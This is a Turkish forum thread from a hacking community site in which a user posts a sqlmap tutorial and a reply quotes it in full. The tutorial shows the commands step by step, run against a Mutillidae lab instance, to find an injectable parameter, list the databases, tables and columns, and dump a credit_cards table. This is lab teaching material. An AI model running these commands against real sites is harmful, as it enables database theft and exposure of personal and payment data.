Sqlmap Kullanım

7as

Uzman üye
15 May 2021
1,708
1,163
En el universo

1-Sqlmap Nedir?

Sqlmap açık kaynak kodlu sql injection açıklığı tespit ve istismar
etme aracıdır. Kendisine sağlanan hedef web uygulamasının kullandığı veritabanı sistemine gönderdiği çeşitli sorgular/komutlar ile sistem üzerindeki sql injection tipini tespit eder yine kendisine sağlanan parametrelere göre çeşitli bilgileri hedef veritabanından alır.

Hedef Hakkında Bilgi Elde Edebilme:
  • Veritabanı türü ve versiyonu (–banner,–all)
  • Mevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (–current-db, –dbs)
  • Veritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (–tables, –columns)
  • Veritabanı datası(–dump, –dump-all)
  • Veritabanı mevcut kullanıcısı ve tüm kullanıcılar(–current-user,–users)
  • Veritabanı kullanıcı parolası (–passwords)
  • Veritabanı kullanıcısının DB admin olup olmadığı bilgisi(–is-dba)
  • Hedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji vs. , -f)
Farklı Tiplerde Hedef Belirleme:
  • URL (–url, -r )
  • Burp suite ve WebScarp proxy logu (–log , -l)
  • HTTP talepleri bir dosyadan okutulabilmektedir. (–r)
  • Google üzerinden URL toplayıp input olarak alabilmektidir.(-g)
  • /sqlmap/sqlmap.conf dosyası -c parametresi ile verilerek tüm konfigrasyon input olarak verilebilir. (-c)
Sqlmap.conf dosyası oldukça ileri düzey parameterlere sahiptir. Yukarıda verilen girdiler bu conf dosyasına girilerek buradan okunması sağlanılabileceği gibi, çeşitli farklı işlemlerde (WAF/IPS/IDS keşfi yapıp/yapmama,uzak sunucuda okunacak dosya, uzak sunucuda yürütülecek komut v.b )yaptırılabilmektedir.

Sqlmap Demo (Mutillidea)

Bir önceki yazımda Mutillidea uygulamasında database,table ve column isimlerine daha sonrasında ise kullanıcı bilgilerini ve database versiyonu gibi bilgilere manuel bir şekilde ulaşmıştık. Bu bilgilere ulaşırkende uzun uzun elimizle sorgular yazmıştık. İşte bu noktada yardımımıza Sqlmap yetişiyor.Artık uzun ve karmaşık komutlar yazmak yerine bu araca gerekli parametreleri vererek istediğimiz sonuçlara ulaşabiliyoruz.

Nasıl mı ? Hadi başlıyalım;

Öncelikle daha önceki yazılarımızda kullandığımız mutillidea uygulamasına browser üzerinden giriş yapıyoruz.

0*GkdI7aIUk6Z3fl7B.png

Resimde görmüş olduğumuz OWASP Top 10 -> A1- Injection -> SQLi-Extract Data -> User Info tabına gidiyoruz. Sonrasında karşımıza çıkan login ekranından giriş yapmaya çalışıyoruz.

1*DVW1G98gHf6FFIzRKuzrmQ.png

Giriş yapmaya çalıştığımızda hata alıyoruz ve resmi dikkatli incelediğimizde URL kısmında giriş yapmaya çalıştığımız kullanıcımıza ait bilgilerin var olduğunu farkediyoruz. Aslında bizimde tam olarak ihtiyacımız olan bu URL ‘di artık Sqlmap yardımıyla ne tür sql injection zaafiyetleri içerdiğini görebileceğiz.

İlk olarak terminalimiz açıyoruz ve aşağıdaki komutu çalıştırıyoruz,

$ sqlmap
1*IPuMyPvMOJ8FwyTEHDLqww.png

İlgili komutu çalıştırdıktan sonra yanlış kullandığımıza dair bir hata alıyoruz ve sqlmap’i nasıl kullanabileceğimize dair örnek kullanımlar listeleniyor.

Yukarıda mutillidea uygulamasında hata aldığımızda oluşan URL ‘li kopyalıyoruz ve komut satırında aşağıdaki şekilde yapıştırıyoruz.

Sistemde Açık Bulmak İçin Kullandığımız Komut

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details"
Sonrasında bize bir parametre buluyor username alanı ile ilgili ve bir açığı olduğunu söylüyor.

1*zrxlKzApy0kmiFLi_A5MJA.png

Artık elimizle herhangi bi denemeden sistemi kırabileceğimiz bir alanı Sqlmap aracını yardımıyla bulmuş olduk.

Database İsimlerine Ulaşmak İçin

Bu adımda ise sistemde var olan database isimlerine ulaşmak için komutumuzu biraz değiştirerek tekrar çalıştırıyoruz.

$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --dbs
1*1J6BLSOec9SIrlvFZ4cXrQ.png

Komutun çıktısı olarak database isimlerine erişmiş olduk.

Kullanımda Olan Güncel(Current) Veritabanı’na Ulaşmak İçin

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --current-db
Şuan kullanmış olduğu veritabanı ismine yukardaki komut yardımı ile erişmiş olduk.

1*lq0zhBJ65u4yM-lgbhmUag.png

Veritabanı Tablolarına Erişme

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --tables -D owasp10
Bu adımda mevcut kullanımda olan veritabanı tablo isimlerine erişmek için komutumuzu yukardaki şekilde güncelledik.

1*__hENx_dJ9lMpbNPNeV9_A.png

Resimde görüldüğü gibi “owasp10” veritabanına ait tablo isimlerini elde etmiş olduk.

Column İsimlerine Ulaşma

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --columns -T credit_cards -D owasp10
Bu adımda ilgili komut yardımıyla column isimlerine ulaşmış olduk.

1*4IIzW89rnSuKiOBv4d_D1w.png

Tüm Bilgilere Erişme

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" -T credit_cards -D owasp10 --dump
Son adımda ise ilgili komut yardımıyla tüm bilgilere ulaşmış olduk.

Önceki Duran Paylaşamadığım Konulardan Birisi :) Hazır Konu Önceden Hazırlamış Olduğum.
 

Butcherb3y

Uzman üye
1 Eyl 2022
1,558
1,154
Anıtkabir

1-Sqlmap Nedir?

Sqlmap açık kaynak kodlu sql injection açıklığı tespit ve istismar
etme aracıdır. Kendisine sağlanan hedef web uygulamasının kullandığı veritabanı sistemine gönderdiği çeşitli sorgular/komutlar ile sistem üzerindeki sql injection tipini tespit eder yine kendisine sağlanan parametrelere göre çeşitli bilgileri hedef veritabanından alır.

Hedef Hakkında Bilgi Elde Edebilme:
  • Veritabanı türü ve versiyonu (–banner,–all)
  • Mevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (–current-db, –dbs)
  • Veritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (–tables, –columns)
  • Veritabanı datası(–dump, –dump-all)
  • Veritabanı mevcut kullanıcısı ve tüm kullanıcılar(–current-user,–users)
  • Veritabanı kullanıcı parolası (–passwords)
  • Veritabanı kullanıcısının DB admin olup olmadığı bilgisi(–is-dba)
  • Hedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji vs. , -f)
Farklı Tiplerde Hedef Belirleme:
  • URL (–url, -r )
  • Burp suite ve WebScarp proxy logu (–log , -l)
  • HTTP talepleri bir dosyadan okutulabilmektedir. (–r)
  • Google üzerinden URL toplayıp input olarak alabilmektidir.(-g)
  • /sqlmap/sqlmap.conf dosyası -c parametresi ile verilerek tüm konfigrasyon input olarak verilebilir. (-c)
Sqlmap.conf dosyası oldukça ileri düzey parameterlere sahiptir. Yukarıda verilen girdiler bu conf dosyasına girilerek buradan okunması sağlanılabileceği gibi, çeşitli farklı işlemlerde (WAF/IPS/IDS keşfi yapıp/yapmama,uzak sunucuda okunacak dosya, uzak sunucuda yürütülecek komut v.b )yaptırılabilmektedir.

Sqlmap Demo (Mutillidea)

Bir önceki yazımda Mutillidea uygulamasında database,table ve column isimlerine daha sonrasında ise kullanıcı bilgilerini ve database versiyonu gibi bilgilere manuel bir şekilde ulaşmıştık. Bu bilgilere ulaşırkende uzun uzun elimizle sorgular yazmıştık. İşte bu noktada yardımımıza Sqlmap yetişiyor.Artık uzun ve karmaşık komutlar yazmak yerine bu araca gerekli parametreleri vererek istediğimiz sonuçlara ulaşabiliyoruz.

Nasıl mı ? Hadi başlıyalım;

Öncelikle daha önceki yazılarımızda kullandığımız mutillidea uygulamasına browser üzerinden giriş yapıyoruz.

0*GkdI7aIUk6Z3fl7B.png

Resimde görmüş olduğumuz OWASP Top 10 -> A1- Injection -> SQLi-Extract Data -> User Info tabına gidiyoruz. Sonrasında karşımıza çıkan login ekranından giriş yapmaya çalışıyoruz.

1*DVW1G98gHf6FFIzRKuzrmQ.png

Giriş yapmaya çalıştığımızda hata alıyoruz ve resmi dikkatli incelediğimizde URL kısmında giriş yapmaya çalıştığımız kullanıcımıza ait bilgilerin var olduğunu farkediyoruz. Aslında bizimde tam olarak ihtiyacımız olan bu URL ‘di artık Sqlmap yardımıyla ne tür sql injection zaafiyetleri içerdiğini görebileceğiz.

İlk olarak terminalimiz açıyoruz ve aşağıdaki komutu çalıştırıyoruz,

$ sqlmap
1*IPuMyPvMOJ8FwyTEHDLqww.png

İlgili komutu çalıştırdıktan sonra yanlış kullandığımıza dair bir hata alıyoruz ve sqlmap’i nasıl kullanabileceğimize dair örnek kullanımlar listeleniyor.

Yukarıda mutillidea uygulamasında hata aldığımızda oluşan URL ‘li kopyalıyoruz ve komut satırında aşağıdaki şekilde yapıştırıyoruz.

Sistemde Açık Bulmak İçin Kullandığımız Komut

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details"
Sonrasında bize bir parametre buluyor username alanı ile ilgili ve bir açığı olduğunu söylüyor.

1*zrxlKzApy0kmiFLi_A5MJA.png

Artık elimizle herhangi bi denemeden sistemi kırabileceğimiz bir alanı Sqlmap aracını yardımıyla bulmuş olduk.

Database İsimlerine Ulaşmak İçin

Bu adımda ise sistemde var olan database isimlerine ulaşmak için komutumuzu biraz değiştirerek tekrar çalıştırıyoruz.

$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --dbs
1*1J6BLSOec9SIrlvFZ4cXrQ.png

Komutun çıktısı olarak database isimlerine erişmiş olduk.

Kullanımda Olan Güncel(Current) Veritabanı’na Ulaşmak İçin

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --current-db
Şuan kullanmış olduğu veritabanı ismine yukardaki komut yardımı ile erişmiş olduk.

1*lq0zhBJ65u4yM-lgbhmUag.png

Veritabanı Tablolarına Erişme

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --tables -D owasp10
Bu adımda mevcut kullanımda olan veritabanı tablo isimlerine erişmek için komutumuzu yukardaki şekilde güncelledik.

1*__hENx_dJ9lMpbNPNeV9_A.png

Resimde görüldüğü gibi “owasp10” veritabanına ait tablo isimlerini elde etmiş olduk.

Column İsimlerine Ulaşma

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --columns -T credit_cards -D owasp10
Bu adımda ilgili komut yardımıyla column isimlerine ulaşmış olduk.

1*4IIzW89rnSuKiOBv4d_D1w.png

Tüm Bilgilere Erişme

$ sqlmap - u "
http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" -T credit_cards -D owasp10 --dump
Son adımda ise ilgili komut yardımıyla tüm bilgilere ulaşmış olduk.

Önceki Duran Paylaşamadığım Konulardan Birisi :) Hazır Konu Önceden Hazırlamış Olduğum.
Elinize sağlık
 
  • Beğen
Tepkiler: 7as
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.